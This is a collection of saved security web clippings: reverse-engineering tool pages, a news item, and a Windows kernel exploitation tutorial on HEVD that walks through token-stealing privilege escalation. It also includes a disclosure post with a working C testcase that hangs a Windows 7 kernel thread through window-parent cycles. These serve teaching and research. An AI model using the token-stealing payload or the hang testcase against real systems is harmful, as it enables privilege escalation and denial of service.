and browse in a user-friendly GUI all the functions executed from one specific
point. For example, open the typical windows binary calc.exe in IDA Pro, wait
until the initial analysis ends, run the script mynav.py in IDA and jump to
the function “?CalcWndProc@@YGJPAUHWND\_\_@@IIJ@Z” \(at address 0×01006118 in
Windows XP SP 3\). Now, select Edit->Plugins->MyNav – Browse Function. A new
dialog box will appear asking for the maximum recursion level, enter the
number 1 and click OK. The following \(browseable\) graph will appear:

<img src='img/Temp2_5536.png' width='1280' height='998' />

Depending on the selected maximum recursion level, some child nodes will be
hidden like, for example, the childs nodes of the function
“?SetRadix@@YGXK@Z”. To see the hidden nodes simply double clik in the node
with text “\(8 more nodes\)”. The following graph will appear:

<img src='img/Temp2_5532.png' width='1280' height='997' />

In this graph we can see what functions are executed from the “SetRadix” one.
We can continue browsing the graph entering and leaving in some other
functions but, what if I want to see what API calls are executed from an
specific function? To open a browseable graph showing API calls select in the
IDA’s disassembly view the desired function \(for example, the function at
address 0×010022F9 in Windows XP SP3
-?CIO\_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-\) and select
Edit->Plugins->MyNav – Browse functions \(show APIs\), leave the default
maximum recursion level and click OK. The browseable graph bellow will appear:

<img src='img/Temp2_5529.png' width='833' height='469' />

Taking a look to this graph we can “abstractly” see what the function
ConvertToString does.

**Code path searching**

One of the most typical tasks when looking for vulnerabilities is to find a
code path between data entry points \(functions where you can insert data\)
and some target functions \(vulnerable ones\). With MyNav we can search
automatically for code paths between 2 functions with just a few clicks. For
example, continuing with the Windows calculator, we will search code paths
from “WinMain” and “EverythingResettingNumberSetup” so, select
Edit->Plugins->MyNav – Show code paths between 2 functions. A dialog box
showing all the binary’s functions will be shown:

<img src='img/Temp2_5531.png' />

In this dialog box select the starting point \(WinMain\) and click OK, the
same dialog will appear again asking for the target function, select
“EverythingResettingNumberSetup” and click OK. The following graph will
appear:

<img src='img/Temp2_5537.png' width='1280' height='995' />

**Differential debugging usage example: notepad  
**

In this example we will discover and analyze the code responsible for opening
a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the
initial analysis finishes and, after it, run the script mynav.py in IDA. A lot
of new menus will be added under Edit->Plugins as shown bellow:

<img src='img/Temp2_5535.png' width='300' height='263' />

Now, select a debugger from the debugger dropdown list and select from
Edit->Plugins menu the option called “MyNav – New session”. A dialog box
asking for a session’s name will appear. Enter a meaningfull name like
“GuiNoise” or something like this as we will be recording the code responsible
of GUI painting, uninteresting for our goal \(discover the code executed when
we open a file inside notepad\).

<img src='img/Temp2_5541.png' width='650' height='115' />

Press OK and a message box saying that there is no breakpoint set will appear.
Answer “Yes” and MyNav will set a breakpoint in every function and start the
debuggger. While the application is running move the window, minimize,
maximize, restore it, popup the contextual menus and close the application
when done. When debugging stops, a graph showing all the executed functions
will appear:

<img src='img/Temp2_5540.png' width='1280' height='994' />

This callgraph shows all the functions executed and the relationships between
them. All the breakpoints sets in a function that was executed in this session
were removed after the first hit so we will not stop again in the GUI related
code. Now, record another session, select Edit->Plugin->MyNav – New session
and enter the name “FileOpenDialog”. When the debugger starts select in
notepad “File->Open” and cancel the dialog box. Select again in notepad
“File->Open” but this time select a file to open. When done, close the
application and the following callgraph will appear:

<img src='img/Temp2_5533.png' width='1024' height='579' />

This time only 7 functions appeared, those responsible of showing the file
open dialog box and opening the file. The notepad.exe binary contains 88
functions and we discovered in a few seconds the interesting functions. Now,
it’s time to discover the exact code executed when I cancel the dialog box and
when I select a file to open so, select Edit->Plugins->MyNav – Trace in
session and a dialog box will appear showing all the recorded session. Select
the session named “FileOpen” in the dialog shown bellow:

<img src='img/Temp2_5539.png' width='400' height='205' />  

After it, the typical dialog box asking for a sessions name will appear. Enter
the name “TraceFileOpenCancel”, click OK and the debugger starts. When notepad
is opened, select File->Open, cancel the dialog box and close the application.

<img src='img/Temp2_5530.png' width='1280' height='995' />

The colored basic blocks are those executed when we cancelled the dialog box.
Now, we will trace again the same session but this time opening a file so,
select Edit->Plugins->MyNav – Trace in session, select the session named
“FileOpen” and enter the name “TraceFileOpen”. When debugger starts the
application select File->Open and open a file. When done, close notepad and
the following code will be shown:

<img src='img/Temp2_5538.png' width='1280' height='996' />

The new color shows the basic blocks executed this time. If we want, we can
see the differences between the 2 sessions. Select Edit->Plugins->MyNav – Show
step trace session and a dialog box showing a list of all the recorded trace
sessions will appear. Select the trace session called “TraceFileOpenCancel”
and click OK. Notice the change in the graph:

<img src='img/Temp2_5534.png' width='1280' height='996' />

In about 5 minutes we discovered the functions and the instructions executed
when we cancel the file open dialog box and when we open a file. It was easy,
wasn’t it? <img src='img/Temp2_5542.png' alt=';)' />

**Final Notes**

MyNav will be released in July 2010 and the code will be uploaded to the
project page at Google Code.

# Calgary air quality reading affected by spider in monitoring station | CBCNews.ca Mobile
**Created:**| _8/28/2015 1:01:06 PM_  
---|---  
**Updated:**| _8/31/2015 10:23:52 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
  

##### Advertisement

  

<img src='img/mandeep-dhaliwal.jpg' width='604' height='338' /> _i_

# Calgary air quality reading affected by spider in monitoring station

**Air quality health index score is 4, not a 'very high risk' 10+**

**Aug 27, 2015 2:42 PM MT** _CBC News_

##  _Share this story_

| | |   
---|---|---  
| | |   
---|---|---  
| | |   
---|---|---  
There's a bug in the system that measures the air quality in Calgary.
Literally.

A spider crawled inside the instrumentation at one of three monitoring
stations, causing the machinery to give inaccurately high readings, according
to Mandeep Dhaliwal, the air quality program manager with the Calgary Region
Airshed Zone \(CRAZ\).

  * **Calgary air quality worsens despite brief improvement**
  * **Smoky skies over Calgary prompt'very high risk' warning**

"This is one of those things that you never, ever expect to happen," he said.

"So that threw off the numbers for today's prediction.

"We're still having trouble getting the spider out," Dhaliwal added.

Both Environment Canada and Alberta Environment and Parks use the information
from monitoring stations to calculate the Air Quality Health Index levels
reported on their websites.

Long story short, the air quality reading for Calgary on Thursday is actually
four — not "10+ very high risk" — as both government sites were reporting
earlier.

The inaccurate readings couldn't come at a worse time, with all of southern
Alberta — but especially Calgary — experiencing smoke-choked skies this week
because of wildfires burning in the northwestern U.S. and British Columbia.

An air quality reading of four indicates a moderate health risk. 

  

## Share this story

| | |   
---|---|---  
| | |   
---|---|---  
| | |   
---|---|---  
## Related Links

  * Smoke advisory issued for southern and central Alberta

## External Links

  * Alberta Environment and Parks: Air Quality Health Index
  * Environment Canada: Air Quality Health Index

 _Note: CBC does not endorse and is not responsible for the content of
external links._

Mobile ServicesContact UsHelpTerms of UsePrivacy

Copyright © CBC 2015

  

# HyperDbg

**Created:**| _4/21/2010 10:53:26 AM_  
---|---  
**Updated:**| _4/21/2010 10:53:38 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing kernel_  
  

<img src='img/Temp2_4135.png' width='150pt' alt='HyperDbg' />

# HyperDbg

### One ring\(-1\) to rule them all...

HyperDbg is a kernel debugger that leverages  _hardware-assisted
virtualization_. More precisely, HyperDbg is based on a  _minimalistic
hypervisor that is installed while the system runs_. Compared to traditional
kernel debuggers \(e.g., WinDbg, SoftIce, Rasta R0 Debugger\) HyperDbg is
completely transparent to the kernel and can be used to debug kernel code
without the need of serial \(or USB\) cables. For example, HyperDbg allows to
_single step the execution of the kernel_ , even when the kernel is executing
exception and interrupt handlers. Compared to traditional virtual machine
based debuggers \(e.g., the VMware builtin debugger\), HyperDbg does not
require the kernel to be run as a guest of a virtual machine, although it is
as powerful.

### Download

The source code of the debugger is released under the GPLv3 license:
hyperdbg\_20100325.zip \(md5: 70952afa5af4aef557b7a49982c439b4\).

#### Precompiled packages:

  * Bochs 800x600: hyperdbg\_20100325\_bochs\_800x600.zip \(md5: 4d4f40ae850325076c12157efca04453\).
  * Automatic 800x600: hyperdbg\_20100325\_auto\_800x600.zip \(md5: 1d0a2070beb5f45803cfbca7cf37db33\).
  * Automatic 1024x768: hyperdbg\_20100325\_auto\_1024x768.zip \(md5: f2370b897c9290251d9fca6520f424cb\).
  * Automatic 1280x800: hyperdbg\_20100325\_auto\_1280x800.zip \(md5: e8ab5863715d19c96c26750e591cfa18\).
  * Automatic 1280x960: hyperdbg\_20100325\_auto\_1280x960.zip \(md5: 7d22278496168a19f532c4078e36aaab\).
  * Automatic 1280x1024: hyperdbg\_20100325\_auto\_1280x1024.zip \(md5: 8798b742f9722f84142df83ae8b71333\).

**Note:** the current version only supports Windows XP SP2 with no PAE. Please
refer to the README file if you are experiencing video issues.

### An overview of the loading of the hypervisor and HyperDbg

<img src='img/Temp2_4136.png' alt='architecture' />

### Some screenshots of HyperDbg\[\*\]

<img src='img/Temp2_4138.png' width='160' height='120' alt='snap' />| <img
src='img/Temp2_4139.png' width='160' height='120' alt='snap' />| <img
src='img/Temp2_4137.png' width='160' height='120' alt='snap' />  
---|---|---  
\[\*\]Note that the first and second screenshots have been taken using our
developing environment based on Bochs, while the third is actually a photo of
a physical machine on which HyperDbg was running.

### Contact Us

Contact Aristide Fattori, Roberto Paleari, and Lorenzo Martignoni for
suggestions, criticisms, and bug reports.

# Starting with Windows Kernel Exploitation – part 3 – stealing the Access
Token

**Created:**| _6/29/2017 3:56:19 PM_  
---|---  
**Updated:**| _6/29/2017 3:56:19 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Starting with Windows Kernel Exploitation – part 3 – stealing the Access
Token

Posted on June 22, 2017 by hasherezade

_Recently I started learning Windows Kernel Exploitation, so I decided to
share some of my notes in form of a blog._

_In the previous parts I shown how to set up the environment. Now we will get
familiar with the payloads used for privilege escalation.  
_

What I use for this part:

  * The environment described in the previous parts \[1\] and \[2\]
  * nasm
  * HxD

* * *
Just to recall, we are dealing with a vulnerable driver, to which we are
supplying a buffer from the userland. In the previous part we managed to
trigger some crashes, by supplying a malformed input. But the goal is to
prepare the input in such a way, that instead of crashing the execution will
be smoothly redirected into our code.

Very often, the passed payload is used to escalate privileges of the
attacker’s application. It can be achieved by stealing the Access Token of the
application with higher privileges.

#### Viewing the Access Token

Every process running on the system has it’s EPROCESS structure that
encapsulates all the data related to it. You can see the full definition i.e.
here. \(The EPROCESS structure has some slight differences from one version of
Windows to another – read more\). Some members of EPROCESS, such as PEB
\(Process Environment Block\), are accessible form the user mode. Others –
i.e. the mentioned Access Token – only from the kernel mode. We can see all
the fields of EPROCESS using WinDbg:

[code]

    dt nt!_EPROCESS
    
[/code]

<img src='img/eprocess.png' width='626' height='339' alt='eprocess' />

As we can see, the field _Token_ has an offset 0xF8 from the beginning of the
structure.

Let’s display the details of the type containing the token:

[code]

    dt nt!_EX_FAST_REF
    
[/code]

<img src='img/token.png' width='354' height='64' alt='token.png' />

The token is stored in a union \_EX\_FAST\_REF, having two fields: _RefCnt_
\(reference counter\) and _Value_. We are interested in replacing the _Value_
only. The reference counter should better stay untouched for the sake of
application stability.

Now, let’s have a look at tokens of some applications running on the Debuggee
machine. We can list the processes using:

[code]

    !dml_proc
    
[/code]

Example:

<img src='img/proc.png' width='241' height='208' alt='proc' />

The first column shown is an address of EPROCESS structure corresponding to
the particular process.

Now, using the displayed addresses, we can find more details about chosen
processes.

[code]

    !process [address of EPROCESS]
[/code]

We can notice the Access Token among the displayed fields:

<img src='img/vbox_info.png' width='616' height='263' alt='vbox_info.png' />

We can also display the token in more low-level ways:

[code]

    dt nt!_EX_FAST_REF [address of EPROCESS] + [offset to the Token field]
    
[/code]

<img src='img/token_details.png' width='377' height='58'
alt='token_details.png' />

Or:

[code]

    dd [address of EPROCESS] + [offset to the Token field]
    
[/code]

<img src='img/token_raw.png' width='369' height='121' alt='token_raw.png' />

As we can conclude from the above, the function _\!process_ automatically
applied the mask and filtered out the reference counter from the displayed
information. We can do the same thing manually, applying the mask that removes
last 3 bytes with the help of eval expression:

[code]

    ?[token] & 0xFFFFFFF8
    
[/code]

<img src='img/mask.png' width='363' height='34' alt='mask.png' />

#### Stealing the Access Token via WinDbg

As an exercise, we will run a _cmd.exe_ on a Debuggee machine and elevate it’s
privileges from the Debugger machine, using WinDbg. See the video:

Stealing an Access Token using WinDbg

First, I am listing all the processes. Then, I am displaying Access Tokens of
the chosen processes: _System_ and _cmd_. I copied the the Access Token of
_System_ to into _cmd_ , applying appropriate masks in order to preserve the
reference counter. As a result, cmd.exe got elevated.

#### The token-stealing payload

Now we have to replicate this behavior via injected code. Of course it is not
gonna be as easy, because we will be no longer aided by WinDbg.

Some well documented examples of the token-stealing payloads are provided as a
part of _Exploit_ code in the official HEVD repository:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c

The purpose of all the included payloads is the same: stealing the Access
Token. However, we can see that they are in a bit different variants,
appropriate for particular vulnerabilities. Most of their code is identical,
only the ending differs \(commented as “ _Kernel Recovery Stub_ “\). It is a
code used to make all the necessary cleanups, so that the application will not
crash while returning after the payload execution.

Anyways, let’s take a look at the generic one:

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c\#L186

<img src='img/generic.png' width='606' height='546' />

First of all, we have to find the beginning of EPROCESS structure. With WinDbg
there was no effort required to do this – it was just displayed on the
command. Now, we need to find the beginning of this structure by our own,
navigating through some other fields.

As a starting point, we will use KPCR \(Kernel Processor Control Region\)
structure, that is pointed by FS register on 32bit versions of Windows \(and
by GS on 64 bit\).

The code presented above takes advantage of the relationship between the
following structures:

KPCR \(PrcbData\) -> KPRCB \(CurrentThread\) -> KTHREAD \(ApcState\) ->
KAPC\_STATE \(Process\) -> KPROCESS

KPROCESS is the first field of the EPROCESS structure, so, by finding it we
ultimately found the beginning of EPROCESS:

<img src='img/eprocess1.png' width='257' height='130' />

When the EPROCESS of the current process has been found, we will use it’s
other fields to find the EPROCESS of the _SYSTEM_ process.

<img src='img/list.png' width='266' height='133' />

LIST\_ENTRY is an element of a double link list, connecting all the running
processes:

<img src='img/list_entry.png' width='203' height='79' />

The field Flink points to the LIST\_ENTRY field of the next process. So, by
navigating there and substituting the field’s offset, we get a pointer to the
EPROCESS structure of another process.

Now, we need to get the PID value \(_UniqueProcessId_\) and compare it with
the PID typical for the _System_ process:

<img src='img/pid.png' width='266' height='134' />

This is the corresponding code fragment in the exploit:

<img src='img/search_pid.png' width='570' height='143' />

Once we have EPROCESS of the _System_ as well as EPROCESS of our process, we
can copy the token from one to another. In the presented code reference
counter was not preserved:

<img src='img/replace.png' width='578' height='78' />

* * *
When we look for the offsets of particular fields, WinDbg comes very handy. We
can display commented structures by the following command:

[code]

    dt nt!<structure name>
    
[/code]

For example:

[code]

    dt nt!_KPCR
    
[/code]

<img src='img/kpcr.png' width='544' height='466' />

[code]

    dt nt!_KPRCB
    
[/code]

<img src='img/to_thread.png' width='357' height='56' />

0x120 + 0x004 = 0x124

That gives the mentioned offset:

<img src='img/offset.png' width='557' height='43' />

### Writing the payload

We can write the code of the payload by inline assembler \(embedded inside the
C/C++ code\) as it is demonstrated in HEVD exploit:

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c\#L63

However, in such case our code will be wrapped by the compiler. As we can see,
some additional prolog and epilog was added:

<img src='img/function.png' width='623' height='265' />

That’s why we have to remove the additional DWORDs from the stack before we
return, by adding 12 \(0xC\) to the stack pointer \(ESP\):

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c\#L94

<img src='img/fixing.png' width='438' height='112' alt='fixing' />

If we want to avoid the hassle, we can declare our function as naked \(read
more here\). It can be done by adding a special declaration before the
function, i.e.:

[code]

    **__declspec(naked)** VOID TokenStealingPayloadWin7()
    
[/code]

https://github.com/hasherezade/wke\_exercises/blob/master/stackoverflow\_expl/payload.h\#L16

Another option is to compile the assembler code externally, i.e. using NASM.
Then, we can export the compiled buffer i.e. to a hexadecimal string.

As an exercise, we will also add some slight modification to the above
payload, so that it can preserve the reference counter:  
https://github.com/hasherezade/wke\_exercises/blob/master/stackoverflow\_expl/shellc.asm

<img src='img/snippet.png' width='556' height='530' />

Compile:

[code]

    nasm.exe shellc.asm
    
[/code]

Then, we can open the result in a hexeditor and copy the bytes. Some of the
hexeditors \(i.e. HxD\) have even a support to copy the data as an array
appropriate for a specific programming language:

<img src='img/copyas.png' width='628' height='295' />

You can see the both variants of the payload \(the inline and the shellcode\)
demonstrated in my StackOverflow exploit for HEVD:

https://github.com/hasherezade/wke\_exercises/tree/master/stackoverflow\_expl

Compiled: https://drive.google.com/open?id=0Bzb5kQFOXkiSWTJOS2VZZ0JiU3c

See it in action:

HEVD stack overflow

_Details about exploiting this vulnerability will be described in the next
part. See also writeups by Osanda and Sam added in the appendix._

### Appendix

https://osandamalith.com/2017/04/05/windows-kernel-exploitation-stack-
overflow/ – Osanda Malith on Stack Overflow

https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-
first-driver-exploit/ – Sam Brown on Stack Overflow

https://briolidz.wordpress.com/2013/11/17/windbg-some-debugging-commands/ – a
handy set of commonly used WinDbg commands

### Share this:

  * Twitter
  * Facebook
  * 

 Like

Be the first to like this.

### _Related_

Starting with Windows Kernel Exploitation – part 2 – getting familiar with
HackSys Extreme Vulnerable DriverIn "Tutorial"

Starting with Windows Kernel Exploitation – part 1 – setting up the labIn
"Tutorial"

Solving KeygenMe V7 by MaxX0r - part 1In "CrackMe"

<img src='img/9989_c6762d36ab89eb4f376f18b09a964a38.png' width='60'
height='60' />

## About hasherezade

Programmer and researcher, interested in InfoSec.

View all posts by hasherezade →

This entry was posted in Tutorial, WKE and tagged Kernel, WKE. Bookmark the
permalink.

  

# pocorgtfo00.pdf

**Created:**| _12/30/2013 1:38:35 PM_  
---|---  
**Updated:**| _12/30/2013 1:39:21 PM_  
**Author:**| __  
**Tags:**| _conference-material virtusalisation_  
  

<img src='img/Temp2_10566.png' />

  

  

  

<img src='img/pocorgtfo00.pdf' />

# Creating Window Cycles - unkillable windows 7 process creation in C

**Created:**| _3/16/2010 7:50:19 AM_  
---|---  
**Updated:**| _3/16/2010 7:50:55 AM_  
**Author:**| __  
**Tags:**| _windows C programming windows environment_  
  

When tearing off one of the toolbars in IDA 5.5 this morning, my Windows 7
virtual machine locked up, and became unresponsive. Of course, I immediately
attached a debugger to see what was going on. There was a thread stuck in
win32k\!GetRealOwner, and didn't appear to be making any progress. Looking at
the code \(using \`uf win32k\!GetRealOwner\` in kd\) it's clear this is simply
traversing a single linked list of windows. Some quick analysis reveals that
Windows \(the operating system\) maintains two interesting relationships
between windows \(the objects\), Window->Parent, and Window->Owner.
win32k\!GetRealOwner traverses the parent list, using something like the
following:  
  

/\* ... \*/  
tagWND \*Owner = Window->spwndOwner;  
tagWND \*Parent = Window->spwndParent;  
  

while \(Owner && Owner->spwndParent \!= Parent\) \{  
Owner = Owner->spwndParent;  
\}  
  
return Owner;  
/\* ... \*/  
  

This routine fetches the window's owner, and then traverses the parent list
until it finds the window with a parent that matches the target window's
parent, a relationship which Microsoft apparently calls "_Real Owner_ ". As
above, the window type is win32k\!tagWND in the public symbols, and the list
pointers are spwndParent and spwndOwner, which look like this:  
  

kd> **dt win32k\!tagWND spwndParent**  
+0x034 spwndParent : Ptr32 tagWND  
kd> **dt win32k\!tagWND spwndOwner**  
+0x03c spwndOwner : Ptr32 tagWND  
  

No problem so far, but this code is called repeatedly from
win32k\!ZOrderByOwner, looking for a window with no owner \(when
GetRealOwner\(\) returns NULL, presumably the root window in the list\), so
something like this:  
  

/\* ... \*/  
tagWND \*RootWindow = CurrentWindow;  
  
while \(GetRealOwner\(RootWindow\)\) \{  
RootWindow = GetRealOwner\(RootWindow\);  
\}  
/\* ... \*/  

  
This seems reasonable, however it does make an obvious assumption: the window
list can never contain a cycle. Evidently this assumption is wrong, as
stepping through the stuck IDA thread revealed a cycle after several
iterations. Knowing these details, I tried to reproduce the problem
independently. Some experimentation reveals that we control the spwndOwner
pointer via the hWndParent parameter of CreateWindow\(\), and can change the
spwndParent pointer using SetParent\(\), but is this enough to break this
assumption, or was I just unlucky and some cosmic ray corrupted the window
list?  
  

http://msdn.microsoft.com/en-us/library/ms632679%28VS.85%29.aspx
CreateWindow\(\) Documentation  
http://msdn.microsoft.com/en-us/library/ms633541%28VS.85%29.aspx SetParent\(\)
Documentation  

  
First attempt, so let's create three windows, like this:  
  

WindowA = CreateWindow\("Class", "WindowA", 0, 0, 0, 32, 32, NULL, NULL, NULL,
NULL\);  
WindowB = CreateWindow\("Class", "WindowB", 0, 0, 0, 32, 32, NULL, NULL, NULL,
NULL\);  
WindowC = CreateWindow\("Class", "WindowC", 0, 0, 0, 32, 32, WindowA, NULL,
NULL, NULL\);  
  

We now have three windows, arranged into two lists, like this \(black dot
means Desktop\):  
  

<img src='img/Temp2_1648.png' />

  
  
  
  
Combine the two lists together with SetParent\(WindowA, WindowB\):  

  

<img src='img/Temp2_1647.png' />

  
  
  
Now create a cycle in the spwndParent list by executing SetParent\(WindowB,
WindowC\):  
  

<img src='img/Temp2_1649.png' />  

  
  

And finally, remove the parent link from WindowC, SetParent\(WindowC, NULL\):

  

  

<img src='img/Temp2_1646.png' />

  

This configuration of windows satisfies the constraints required to make the
real owner of WindowC itself\! \(Window->Parent ==
Window->Owner->Parent->Parent->Parent\), here's the code I used

  

  

\#include <windows.h>  
  
\#pragma comment\(lib, "USER32"\)  
  
int main\(int argc, char \*\*argv\)  
\{  
WNDCLASS Class = \{0\};  
HWND WindowA, WindowB, WindowC;  
  
Class.lpfnWndProc = DefWindowProc;  
Class.lpszClassName = "Class";  
  
RegisterClass\(&Class\);  
  
WindowA = CreateWindow\("Class", "WindowA", 0, 0, 0, 32, 32, NULL, NULL, NULL,
NULL\);  
WindowB = CreateWindow\("Class", "WindowB", 0, 0, 0, 32, 32, NULL, NULL, NULL,
NULL\);  
WindowC = CreateWindow\("Class", "WindowC", 0, 0, 0, 32, 32, WindowA, NULL,
NULL, NULL\);  
SetParent\(WindowA, WindowB\);  
SetParent\(WindowB, WindowC\);  
SetParent\(WindowC, NULL\);  
  
return 0;  
\}  

So what should GetRealOwner\(WindowC\) return?

  

  

Owner = WindowC->Owner; // should be WindowA  
Parent = WindowC->Parent; // should be Desktop  
  
WindowA->Parent is WindowB, so set Owner = WindowB;  
WindowB->Parent is WindowC, so set Owner = WindowC;  
WindowC->Parent is equal to Parent, so return WindowC;  

Now hopefully ZOrderByOwner will call GetRealOwner\(WindowC\) forever\! Let's
run the testcase and examine the state of the system using kd...

  

  

kd> **vertarget**  
Windows 7 Kernel Version 7600 MP \(1 procs\) Free x86 compatible  
Product: WinNt, suite: TerminalServer SingleUserTS  
Built by: 7600.16385.x86fre.win7\_rtm.090713-1255  
Machine Name:  
Kernel base = 0x82810000 PsLoadedModuleList = 0x82958810  
Debug session time: Thu Mar 11 20:31:53.218 2010 \(GMT+1\)  
System Uptime: 0 days 5:28:17.935  
kd> **\!process 0n1424**  
Searching for Process with Cid == 590  
Cid Handle table at 959ef000 with 554 Entries in use  
PROCESS 87bd93c0 SessionId: 2 Cid: 0590 Peb: 7ffd5000 ParentCid: 0f3c  
DirBase: 1ef50200 ObjectTable: 89a21d00 HandleCount: 40.  
Image: parent.exe  
VadRoot 88a92a70 Vads 30 Clone 0 Private 76. Modified 0. Locked 0.  
DeviceMap 93a12258  
Token 89bab9c0  
ElapsedTime 00:04:06.027  
UserTime 00:00:00.000  
KernelTime 00:00:00.000  
QuotaPoolUsage\[PagedPool\] 0  
QuotaPoolUsage\[NonPagedPool\] 0  
Working Set Sizes \(now,min,max\) \(366, 50, 345\) \(1464KB, 200KB, 1380KB\)  
PeakWorkingSetSize 366  
VirtualSize 23 Mb  
PeakVirtualSize 23 Mb  
PageFaultCount 379  
MemoryPriority BACKGROUND  
BasePriority 8  
CommitCharge 92  
  
THREAD 87b446c0 Cid 0590.0604 Teb: 7ffdf000 Win32Thread: fe5ad928 RUNNING on
processor 0  
Not impersonating  
DeviceMap 93a12258  
Owning Process 87bd93c0 Image: parent.exe  
Attached Process N/A Image: N/A  
Wait Start TickCount 1260660 Ticks: 7 \(0:00:00:00.109\)  
Context Switch Count 749  
UserTime 00:00:00.000  
KernelTime 00:00:18.296  
Win32 Start Address parent \(0x00401292\)  
Stack Init 981c5fd0 Current 981c5958 Base 981c6000 Limit 981c3000 Call 0  
Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2
PagePriority 5  
ChildEBP RetAddr  
981c5958 8287b38f nt\!RtlpBreakWithStatusInstruction \(FPO: \[1,0,0\]\)  
981c5960 8287b361 nt\!KdCheckForDebugBreak+0x22 \(FPO: \[0,0,0\]\)  
981c5990 8287b1ef nt\!KeUpdateRunTime+0x164  
981c59ec 82880577 nt\!KeUpdateSystemTime+0x613  
981c59ec 92b05af8 nt\!KeUpdateSystemTimeAssist+0x13 \(FPO: \[0,2\] TrapFrame @
981c5a00\)  
981c5a74 92b2c005 win32k\!GetRealOwner+0x17 \(FPO: \[1,0,0\]\)  
981c5a9c 92b33667 win32k\!ZOrderByOwner2+0x8b \(FPO: \[2,4,4\]\)  
981c5ae8 92afd7ee win32k\!ZOrderByOwner+0xaa \(FPO: \[1,12,4\]\)  
981c5b40 92b02c98 win32k\!xxxEndDeferWindowPosEx+0x89 \(FPO: \[2,16,4\]\)  
981c5b60 92b170c9 win32k\!xxxSetWindowPos+0xf6 \(FPO: \[7,1,4\]\)  
981c5be4 92b17701 win32k\!xxxActivateThisWindow+0x2b1 \(FPO: \[3,21,0\]\)  
981c5c14 92b17537 win32k\!xxxActivateWindow+0x144 \(FPO: \[2,4,4\]\)  
981c5c28 92afd9dd win32k\!xxxSwpActivate+0x44 \(FPO: \[1,0,0\]\)  
981c5c80 92b02c98 win32k\!xxxEndDeferWindowPosEx+0x278 \(FPO: \[2,16,4\]\)  
981c5ca0 92af868b win32k\!xxxSetWindowPos+0xf6 \(FPO: \[7,1,4\]\)  
981c5cf4 92af8799 win32k\!xxxSetParent+0x263 \(FPO: \[2,10,0\]\)  
981c5d24 8285342a win32k\!NtUserSetParent+0x89 \(FPO: \[2,6,0\]\)  
981c5d24 778c64f4 nt\!KiFastCallEntry+0x12a \(FPO: \[0,3\] TrapFrame @
981c5d34\)  

Lets see what it was doing, and dump the argument from the stack...

  

  

kd> **.trap 981c5a00**  
ErrCode = 00000000  
eax=fe61b230 ebx=fe61af78 ecx=fe61aec0 edx=fe600618 esi=00000001 edi=ffa15160  
eip=92b05af8 esp=981c5a74 ebp=981c5a74 iopl=0 nv up ei pl nz ac po nc  
cs=0008 ss=0010 ds=0000 es=0000 fs=af78 gs=0000 efl=00000212  
win32k\!GetRealOwner+0x17:  
92b05af8 7406 je win32k\!GetRealOwner+0x1f \(92b05b00\) \[br=0\]  
kd> **dd @ebp+8 L1**  
981c5a7c fe61af78  
kd> **dt win32k\!tagWND strName.Buffer fe61af78**  
+0x084 strName :  
+0x008 Buffer : 0xfe602ab0 -> 0x57  
kd> **du fe602ab0**  
fe602ab0 "WindowC"  
  

It's looking for the real owner of WindowC, and is traversing the spwndParent
pointers.

  

  
kd> **dt win32k\!tagWND strName.Buffer @eax**  
+0x084 strName :  
+0x008 Buffer : 0xfe6015c0 -> 0x57  
kd> **du fe6015c0**  
fe6015c0 "WindowA"  

So it's currently testing WindowA, let's continue to the next iteration:

  

  

kd> **g 92b05af3**  
win32k\!GetRealOwner+0x12:  
92b05af3 8b4834 mov ecx,dword ptr \[eax+34h\]  
kd> **dt win32k\!tagWND strName.Buffer @eax**  
+0x084 strName :  
+0x008 Buffer : 0xfe607cc0 -> 0x57  
kd> **du fe607cc0**  
fe607cc0 "WindowB"  

eax is WindowB, now fetch WindowB->Parent, i.e. WindowC, and put it on ecx.

  

  

kd> **p**  
win32k\!GetRealOwner+0x15:  
92b05af6 3bca cmp ecx,edx  
kd> **dt win32k\!tagWND strName.Buffer @ecx**  
+0x084 strName :  
+0x008 Buffer : 0xfe602ab0 -> 0x57  
kd> **du fe602ab0**  
fe602ab0 "WindowC"  

Now it should be comparing WindowC->Parent with Parent, those will match, so
return WindowC:

  

  

kd> **r ecx**  
ecx=fe600618  
kd> **r edx**  
edx=fe600618  
kd> **p**  
win32k\!GetRealOwner+0x17:  
92b05af8 7406 je win32k\!GetRealOwner+0x1f \(92b05b00\)  
kd> **p**  
win32k\!GetRealOwner+0x1f:  
92b05b00 5d pop ebp  
kd> **p**  
win32k\!GetRealOwner+0x20:  
92b05b01 c20400 ret 4  
kd> **dt win32k\!tagWND strName.Buffer @eax**  
+0x084 strName :  
+0x008 Buffer : 0xfe602ab0 -> 0x57  
kd> **du fe602ab0**  
fe602ab0 "WindowC"  

Yep\! So as predicted, GetRealOwner\(WindowC\) is WindowC, and the exit
condition will never be satisfied, it's stuck\!

  

This was the first time I've encountered this bug while using IDA, and I
haven't been able to reproduce it since, so I suspect there is some subtle
race condition to blame. Thankfully I was able to recover my idb with minimal
lost work, but the question remains, is it the developer's responsibility to
guarantee they don't create cycles, or Microsofts?

  

I've mailed a testcase to Microsoft, but I'm not sure what they'll say.

  

  

\-- Tavis Ormandy <taviso@sdf.lonestar.org> 11-Mar-2010

  

# coccigrep » To Linux and beyond \!

**Created:**| _9/12/2011 8:34:01 AM_  
---|---  
**Updated:**| _9/14/2011 9:10:20 AM_  
**Author:**| __  
**Tags:**| _analysis programming code-checks semantic_  
  

# coccigrep

Add comments

## Introduction

coccigrep is a semantic grep for the C language based on coccinelle. It can be
used to find where a given structure is used in code files. coccigrep depends
on the spatch program which comes with coccinelle.

## Download and source

  * Version 1.0: coccigrep-1.0.tar.gz
  * Version 1.0rc2: coccigrep-1.0rc2.tar.gz
  * Version 1.0rc1: coccigrep-1.0rc1.tar.gz
  * Version 0.9: coccigrep-0.9.tar.gz

coccigrep can also be downloaded from github.

As you may have guess, the source can be accessed via github.

## Examples

